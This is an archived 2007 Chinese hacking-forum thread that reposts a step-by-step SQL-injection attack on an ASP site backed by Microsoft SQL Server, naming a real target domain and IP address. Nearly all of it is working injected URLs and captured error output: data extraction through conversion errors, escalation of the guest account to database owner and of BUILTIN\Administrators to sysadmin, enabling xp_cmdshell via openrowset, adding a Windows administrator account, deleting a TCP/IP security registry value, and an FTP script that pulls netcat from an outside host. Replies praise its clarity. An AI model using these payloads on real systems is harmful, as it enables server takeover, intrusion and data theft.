岁月联盟 - 技术社区 - BBS.SYUE.COM's Archiver

猪猪 发表于 2007-1-30 20:41

利用odbc来拿本机权限

WEB/SQL分离 利用ODBC注入一直来很多牛人说可以web/sql分离的情况下，利用odbc来拿本机权限，

不过这篇文章好象是连回本地来做测试。不过总算是一个突破。
EXAMPLE TO USE:?
[url]http://www.xxxx.com/FullStory.asp?id=1[/url]?


Exploiting the hole:?
[url]http://www.xxxx.com/FullStory.asp?id=1[/url]’?


Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’?
[Microsoft][ODBCSQLServerDriver] [SQLServer]?
Unclosed quotation mark before the character string ’’.?
/Including/general.asp, line 840\?


VERSION?
[url]http://www.xxxx.com/FullStory.asp[/url] ... d 1=convert(int,@@version)--?


Code:?

[SQL Server]Syntax error converting the nvarchar value ’Microsoft SQL Server 7.00 - 7.00.1063 (Intel X86) Apr 9 2002 14:18:16 Copyright © 1988-2002 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ’

to a column of data type int.?
/Including/general.asp, line 840?


SERVER NAME?
[url]http://www.xxxx.com/FullStory.asp[/url] ... d 1=convert(int,@@servername)--?


Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’?
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’UNESCO’ to a column of data type int.?
/Including/general.asp, line 840?


DATABASE NAME?
[url]http://www.xxxx.com/FullStory.asp[/url] ... d 1=convert(int,db_name())--?


Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’?
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’NhaXinh’ to a column of data type int.?
/Including/general.asp, line 840?

USER?
[url]http://www.XXXX.com/FullStory.asp[/url] ... d 1=convert(int,system_user)--?

Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’?
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’nhaxinh’ to a column of data type int.?
/Including/general.asp, line 840?


OPENING REMOTE LINK ([url]http://msdn.microsoft.com/library/default.asp?[/url] ... /tsqlref/ts_oa-oz_78z8.asp)?
[url]http://www.nhaxinh.com.vn/FullStory.asp?id=1;select[/url] * from openrowset(’sqloledb’,’’;;,’’)--?


Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’?
[Microsoft][ODBC SQL Server Driver][SQL Server] Ad hoc access to OLE DB provider ’sqloledb’ has been denied. You must access this provider through a linked server.?
/Including/general.asp, line 840?


GUEST = DB_OWNER :DDD?
[url]http://www.XXXX.com/FullStory.asp?[/url] ... ;sp_executesql N’create view dbo.test as select * from master.dbo.sysusers’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set sid=0x01,roles=0x01 where name=’’guest’’’,’xx’ exec sp_executesql N’drop view dbo.test’--?


Code:?

?No result expected, normal page loading?
?Enable us to do sum nice stuff like xp_regwrite e xp_cmdshell?


ADDIN TO "BUILTIN\ADMINISTRATORS"?
[url]http://www.nhaxinh.com.vn/FullStory.as[/url] ... p;sp_executesql N’create view dbo.test as select * from master.dbo.sysxlogins’ exec sp_msdropretry ’xx update sysusers set sid=0x01 where name=’’dbo’’’,’xx’ exec sp_msdropretry ’xx update dbo.test set xstatus=18 where name=’’BUILTIN\ADMINISTRATORS’’’,’xx’ exec sp_executesql N’drop view dbo.test’--?


and then?

[url]http://www.xxxx.com/FullStory.asp?id=1;ex[/url] ... sp_addsrvrolemember ’nhaxinh’,sysadmin --?

ENABLE OPENROWSET/OLEDB?
[url]http://www.xxxx.com/FullStory.asp?id=1;select[/url] * from openrowset(’sqloledb’,’’;;,’’)--?

Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80004005’?
[Microsoft][ODBC SQL Server Driver][SQL Server]Login failed for user ’SYSTEM’.?
/Including/general.asp, line 840?


[url]http://www.xxxx.com/FullStory.asp?id=1;e[/url] ... .xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Services\Tcpip\Parameters’,’EnableSecurityFilters’?


ENABLE MASTER..XP_CMDSHELL & "ALLOW UPDATES"?
[url]http://www.xxxx.com/FullStory.asp?id=1;select[/url] * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’)?


!!PAY ATTETION TO THE SERVER= PARAMETER?

Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’?
[Microsoft][ODBC SQL Server Driver][SQL Server]Could not process object ’set fmtonly off master..sp_addextendedproc xp_cmd ’xpsql70.dll’ exec sp_configure ’allow updates’, ’1’ reconfigure with override’. The OLE DB provider ’sqloledb’ indicates that the object has no columns.?
/Including/general.asp, line 840?


if dun work try:?
[url]http://www.xxxx.com/FullStory.asp?id=1;select[/url] * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec master..sp_addextendedproc xp_cmd,’’xpsql70.dll’’ exec sp_configure ’’allow updates’’, ’’1’’ reconfigure with override’)--?


NOW SCRIPT KIDDIES?


[url]http://www.xxxx.com/FullStory.asp?id=1;drop[/url] table&nbs ... ble t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’ipconfig’--?
[url]http://www.nhaxinh.com.vn/FullStory.[/url] ... and 1=convert(int,(select top 1 b from t where b like ’

%25IP Address%25’))-- (%25 == “%”)?

Code:?


Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’?
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’ IP Address. . . . . . . . . . . . : 203.162.7.70 ’ to a column

of data type int.?
/Including/general.asp, line 840?


C:\> ping 203.162.7.70?
Pinging 203.162.7.70 with 32 bytes of data:?
Reply from 203.162.7.70: bytes=32 time=232ms TTL=118?
C:\> ftp 203.162.7.70?
Connected to 203.162.7.70.?
220 unesco Microsoft FTP Service (Version 5.0).?
User (203.162.7.70:(none)):?
203.162.7.70 == panvietnam.com?


[url]http://www.xxxx.com/FullStory.asp?id=1;select[/url] * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec xp_cmdshell "net user a /add %26 net localgroup administrators a /add"’)-- (%26 == "&")?


Code:?

C:\> ftp 203.162.7.70?
Connected to 203.162.7.70.?
220 unesco Microsoft FTP Service?
(Version 5.0).?
User (203.162.7.70:(none)): a?
331 Password required for a.?
Password:?
530 User a cannot log in.?
Login failed.?
ftp> bye?


UPLOAD NETCAT LÊN?
[url]http://www.xxxx.com/FullStory.asp?id=1;select[/url] * from openrowset(’sqloledb’, ’server=UNESCO;uid=BUILTIN\Administrators;pwd=’, ’set fmtonly off select 1 exec master..xp_cmdshell "echo open a.b.c.d %3Ef %26 echo user a a %3E%3Ef %26 echo bin %3E%3Ef %26 echo cd a %3E%3Ef %26 echo mget * %3E%3Ef %26 echo quit %3E%3Ef %26 ftp -v -i -n -s%3Af" %26 del f’)-- (%3E == ">")?


Code:?

echo open a.b.c.d >f?
echo user a a >>f?
echo bin >> f?
echo cd a >>f?
echo mget * >>f?
echo quit >>f?
ftp -v -i -n -s:f?
del f?


[url]http://www.xxxx.com/FullStory.asp?id=1;drop[/url] table&nbs ... ble t(a int identity,b varchar(1000)) insert into t exec master..xp_cmdshell ’dir nx.exe’--?
[url]http://www.xxxx.com/FullStory.asp[/url] ... d 1=convert(int,(select b from t where a=1))--?
[url]http://www.xxxx.com/FullStory.asp[/url] ... d 1=convert(int,(select b from t where a=6))--?

Code:?

Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’?
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ’08/17/2003 11:31a 11,776 nx.exe’ to a column of data type int.?
/Including/general.asp, line 840

路边要饭的 发表于 2007-1-30 23:00

这个不错。。

每一步的注入过程和回显都清楚的写出来。。

顶一个！！

小鱼 发表于 2007-2-10 09:49

顶上去

掌門豬 发表于 2007-2-10 22:41

**** 作者被禁止或删除 内容自动屏蔽 ****

wyzhack 发表于 2007-3-16 09:20

。。  总是看到openrowset的时候就晕~~~~    一次也没有成功过

页: [1]

Powered by Discuz! Archiver 7.0.0  © 2001-2007 Comsenz Inc.